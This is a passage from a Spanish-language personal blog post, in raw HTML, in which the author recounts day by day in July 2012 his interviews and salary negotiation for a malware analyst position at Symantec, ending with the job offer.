platicas con Google Security Team pero tampoco se concreto nada y por si fuera poco, Symantec
tambien me habia rechazado aunque no en el equipo de Seguridad sino en otro
departamento, entonces <b style="mso-bidi-font-weight: normal;"><i style="mso-bidi-font-style: normal;">perdi las esperanzas</i></b> de unirme a un
Gigante de TI y entonces empece a aplicar a excelentes Compa<span class="short_text" id="result_box" lang="es"><span class="hps">ñ</span></span>ias pero fuera del rango que yo
pretendia en un principio.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="color: lime;"><b>Julio 2, 2012, 3:15 PM:</b></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Liam Murchu Manager del Equipo de Seguridad de Symantec
(Security Response Team) publica este twitter anunciando que estaban
contratando Analizadores de Codigo malicioso (malware analysts) en el soleado California:</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6S8P5bxd0GsxWdFzTHdjYGyPywRLRVJJowC2SHSWhKc-xFXVCkGforli-tXoMBQAQzq87Sjb-MWw29ayngj5b9kWyXseNywMiJLnyc_EA9s_tXErvZG-HOvCFiUlJfgnz4XCFu4q_400L/s1600/liam.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="178" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6S8P5bxd0GsxWdFzTHdjYGyPywRLRVJJowC2SHSWhKc-xFXVCkGforli-tXoMBQAQzq87Sjb-MWw29ayngj5b9kWyXseNywMiJLnyc_EA9s_tXErvZG-HOvCFiUlJfgnz4XCFu4q_400L/s1600/liam.jpg" width="320" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<br />
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-para-margin-top:0in;
mso-para-margin-right:0in;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0in;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
</style>
<![endif]-->
</div>
<div class="MsoNormal">
Yo habia recibido este tweet ya que seguia los mensajes del
equipo de Seguridad de Symantec y Liam envio este mensaje ha dicho grupo, en
otras palabras yo no seguia los tweets de Liam, y para ser honestos ni siquiera
sabe quien era el.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Cuando vi este tweet alrededor de las 11:00 PM del 3 de
Julio (un dia despues de ser publicado) me emocione mucho ya que volvian mis
esperanzas, aunque por mi mente pasaba “va a ser igual que en Microsoft,
requeriran un gran nivel y por ende no estare a la altura”, pero de cualquier
manera, investigue quien era Liam Murchu, consegui su correo electronico y le
envie mi curriculum el mismo dia a las 11:55 PM. </div>
<div class="MsoNormal">
Mi correo mas que pedirle una
entrevista fue una suplica para que me diera la oportunidad de trabajar con el
considerando que mis conocimientos en analisis de Virus no eran avanzados pero
que era el hombre mas motivado que jamas encontraria y que trabajaria dia y
noche para darle los resultados esperados.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Inmediatamente despues, me acorde que tenia el correo de la
persona “Adri” de recursos humanos de Symantec que me habia contactado para la
oportunidad de trabajo anterior de la cual no habia sido seleccionado, le pedi de la
forma mas atenta que por favor enviara mi curriculum a el de recurso de recursos
humanos asignado para la contratacion dicho puesto. </div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="color: lime;"><b>Julio 5, 12:07 PM:</b></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
“Adri” de Symantec me contesta diciendome que ha enviado mi
curriculum a la persona correspondiente y que si habia algun interes, ellos me
contactarian. Yo le agradezco mucho a “Adri” y la bendigo en el nombre de Dios.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="color: lime;"><b>Julio 5, 12:13 PM:</b></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Vean la hora, notese que fueron 6 minutos despues de agradecerle a “Adri”,
recibo una llamada de “Lore” de recursos humanos de Symantec!!!!!!! No lo podia
creer, ella me baja de mis nubes diciendome que el candidato YA CASI esta
seleccionado pero que de cualquier manera me esta hablando por cortesia para
hacerme saber que intentara enviar mi curriculum a Liam, argumentando que en
ocasiones raras, los Managers pueden abrir mas vacantes o si no, pues ella me
llamaria en cuanto hubiera otra oportunidad.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="color: lime;"><b>Julio 5, 15:33 PM:</b></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Alrededor de 3 horas despues del mismo dia, me vuelve a
llamar “Lore”, mas emocionada que yo! Y me dice que Liam esta interesado en
platicar conmigo! Aunque me dice que la vacante es para una posicion Junior
donde el salario esta un 25% por debajo de lo que yo actualmente percibo. Yo ya estaba
avanzado en platicas con otra Empresa asi que mi intencion era saber hasta
donde hubiera llegado con Symantec y si ellos hubieran estado interesados en
mi, como que en el fondo de mi Corazon no habia ninguna esperanza de que me
contrataran. Entrar en el equipo lider en analisis de virus con basica
experiencia en ese campo? No lo veia posible.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="color: lime;"><b>Julio 9, 2012, 12:00 PM:</b></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Liam y con un colega me marcan para la entrevista tecnica, yo
inmediatamente me sincero y le digo que llevo poco tiempo en esa especialidad
de analisis de virus pero que mi experiencia en otros campos de la seguridad me
pueden ayudar a aprender rapido, entonces Liam me dice que me hara unas
entrevistas basicas para ver si tengo nocion del puesto. Despues de dichas
preguntas, me dice que parece que no estoy tan mal y que le gustaria una
segunda entrevista con un alto grado tecnico solo para saber exactamente el
nivel de mis conocimientos. Cuelgo el telefono y lo primero que pense fue… “me
van a masacrar en la siguiente entrevista, no solo diran que no soy apto para
el puesto sino que nisiquiera tengo los conocimientos basicos!!!!”.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="color: lime;"><b>Julio 9, 2012, 4:34PM:</b></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
“Lore” me habla, otra vez emocionada para decirme que me fue
bien en mi entrevista! y que mi siguiente entrevista tecnica sera el proximo 12 de Julio.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="color: lime;"><b>Julio 12, 2012, 12:30 PM:</b></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Me habla Liam, me presenta a su experto, me dice muy
amablemente que no me preocupe, que empezaran con preguntas basicos e iran
subiendo el nivel de complejidad hasta donde vean que ya no puedo pero que solo
sea sincero con mis respuestas, que no intente adivinar y que no importa si no
se algunas preguntas. </div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
La mano de Dios se vuelve a hacer presente, para mi gran
sorpresa, las preguntas se centran en ataques y temas de seguridad pero nada
relacionado con Analisis de Virus, despues me muestran codigo en C y
Ensamblador y me piden que les explique que es lo que hacen y que falla pueden
tener, me va muy bien, flaqueo un poco en Ensamblador pero bien, finalmente me
hacen unas preguntas de Sistemas Operativos y despues de 2 horas de preguntas y
ejercicios me dice Liam: “Daniel, hemos terminado con la entrevista, me
permites un momento?”, me pone en espera y... despues de unos segundos, regresa Liam y me dice:</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<i>“Daniel, el nivel que mostraste definitivamente no era el que esperabamos,
consideramos que estas a un nivel mas Senior y por ende tratare de cambiar la
vacante a una posicion un poco mas alta para tratar de que el salario mejore
aunque no sea lo que tu pretendes, en cuanto tenga una respuesta te la hare saber.”</i> </div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Yo le agradezco a Liam infinitamente, le
hago saber mi emocion por la noticia y cuelgo el telefono.</div>
<div class="MsoNormal">
Cuando colgue esa
llamada me cayo el “20” de que Symantec estaba interesado en mi!!!!!! Y
entonces todo cambio, en ese momento decidi que alli queria estar y que ojala y
le pudieran aprobar el nuevo puesto para que mi salario no estuviera tan
afectado considerando que el nivel de vida en California es muucho mas caro que
en Chicago.</div>
<div class="MsoNormal">
Sabia que esta oportunidad era unica, posiblemente no se
presentaria de nuevo en mi vida, y aunque asi fuese, la experiencia necesaria
para entrar seria un obstaculo importante, y es que en Empresas como Symantec,
Microsoft o Google, son tan particulares que es dificil tener el nivel de
conocimientos requerido, por citar un ejemplo, en que otra empresa del mundo
estarias lidiando con un error en el codigo fuente de office? Solo en Microsoft!!!,
comunmente la gente empieza de cero, contratada recien egresada de la
Universidad, ahi se desarrolla, ahi aprende, ahi se vuelven expertos, la
otra opcion es cuando eres un genio en cuyo caso estas Empresas te convencen
para que trabajes con ellos, pero este scenario es muy raro y por ende solo
para algunos, pero para los mortales como yo, que venimos de afuera (otro pais), es dificil
tener el mismo nivel y convencer en las entrevistas. Por eso, lo repito
siempre, la mano de Dios se hizo presente, Dios me habia dado esta oportunidad
y debia tomarla a como de lugar.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="color: lime;"><b>Julio 17, 2012, 07:14 PM:</b></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Despues de varios dias de incertidumbre! Llega el tan
anciado correo de Liam el cual dice: </div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<i>“Desafortunadamente no podemos incrementar
el salario para esta vacante en este momento, tal vez en el futuro tengamos una
posicion mas cercana a tus habilidades, te contactare si se da la oportunidad.
Mientras tanto, deseo que encuentres un trabajo que te permita seguir en el
campo de Analisis de Virus…”</i></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Exacto… asi como se quedaron me quede yo, no solo fue la
mala noticia sino que tambien se estaba despidiendo de mi!</div>
<div class="MsoNormal">
Despues de una hora pensando decidi pedirle que me
contratara para el puesto actual, sin importar que el salario estaba muy por debajo de lo que yo ganaba,
Liam contesta que podemos platicar al respecto y que me marcara el Miercoles 18
de Julio.</div>
<div class="MsoNormal">
Cuando escucho esto, me vuelvo a poner contento y estoy casi
seguro que solo es cuestion de formalizar mi contratacion.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="color: lime;"><b>Julio 18, 2012, 06:00 PM:</b></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Llega el dia! Me habla Liam, me empieza a explicar los
detalles del puesto pero como si estubiera tratando de convencerme de no
tomarlo! frases como: “El salario es TODAVIA mas bajo de lo que habiamos
platicado, no tienes derecho a bono, etc, etc”. Para que se den una idea, el
salario propuesto era un poquito mas de lo que ganaba cuando llegue a USA en
2008 (4 a<span class="short_text" id="result_box" lang="es"><span class="hps">ños antes)</span></span>, solo que habia una importante diferencia: Ese salario era en Memphis,
Tennessee donde el costo de vida es muchisisisisimo mas bajo que en California
(la renta en Memphis era de $900 USD cuando en California es de $2200! Por ejemplo).
</div>
<div class="MsoNormal">
En fin, con todo y todo, que le digo a Liam: “Ok, me gusta,
quiero el puesto, que me dices?”. </div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
En este momento yo esperaba una respuesta
como: “Perfecto, formalizemos esto, o algo asi”, al final, quien no quiere a
algo bueno y barato no? (asumiendo que el decia que yo tenia un nivel por encima del puesto vacante). Pero su respuesta de Liam fue muy diferente: </div>
<div class="MsoNormal">
“Ok,
entonces pues… mmmm… dejame ver como esta la situacion porque ya estaban
avanzadas las platicas con otro candidato, pero te resuelvo al final de esta
semana”.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Entonces colgue muy triste, me habia dado cuenta que ni
pidiendo entrar a Symantec sin sueldo seria aceptado, otra vez a nada de ser
contratado y con todos los sue<span class="short_text" id="result_box" lang="es"><span class="hps">ñ</span></span>os en el aire, derepente todo se desmoronaba. Me
fui a casa, muy pensativo, y entonces me entro un poco de dignidad y decidi
darle las gracias a Liam, asi que que le escribi un correo diciendole: “Me
emocione tanto de entrar a Symantec que puse a un lado los intereses de mi
familia, con el sueldo propuesto y sin bono, definitivamente no puedo soportar
los gastos en California, con el sueldo propuesto inicialmente mas un bono
podria ser la unica opcion que me funcionaria. Estoy triste porque en verdad
que me queria unir a tu equipo. Por favor dejame saber si en el futuro se habre
un puesto a mis necesidades. Gracias por todo”.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Despues de enviar este correo, honestamente ya no esperaba
ninguna respuesta, de hecho ya estaba convencido de que era la mejor decision e
incluso estaba a punto de aceptar la oferta de otra Empresa que estaba esperando mi respuesta 2
semanas antes!!!!</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="color: lime;"><b>Julio 19, 2012, 07:21 PM:</b></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Me contesta Liam un dia despues y me dice que si estoy<span style="mso-spacerun: yes;"> </span>de acuerdo “Lore” de recursos humanos me
hablara para ver si podemos llegar a un acuerdo.</div>
<div class="MsoNormal">
Otra vez vuelve la incertidumbre, sin idea de que queria
Liam, pero esta vez sin esperar buenas noticias quedo en espera de la llamada.</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="color: lime;"><b>Julio 20, 2012, 03:00 PM:</b></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Este dia es muy especial porque fue cuando cumpli el primer
mes de novio con el amor de mi vida y que ahora es mi esposa… Diana. Solo queria comentarlo...</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Me habla “Lore” y me dice: “Daniel estamos interesados en
que trabajes para Symantec, te respetaremos el salario propuesto inicialmente y
te daremos un bono extra tratando de acercarnos un poco a tus expectativas
economicas, mas estos y otros beneficios, que dices?”, yo acepto
inmediatamente!!!! "Lore" y yo super contentos, y finalmente me dice que espere la
carta formal en siguiente dia!</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Cuelgo el telefono y no grite porque estaba en la oficina
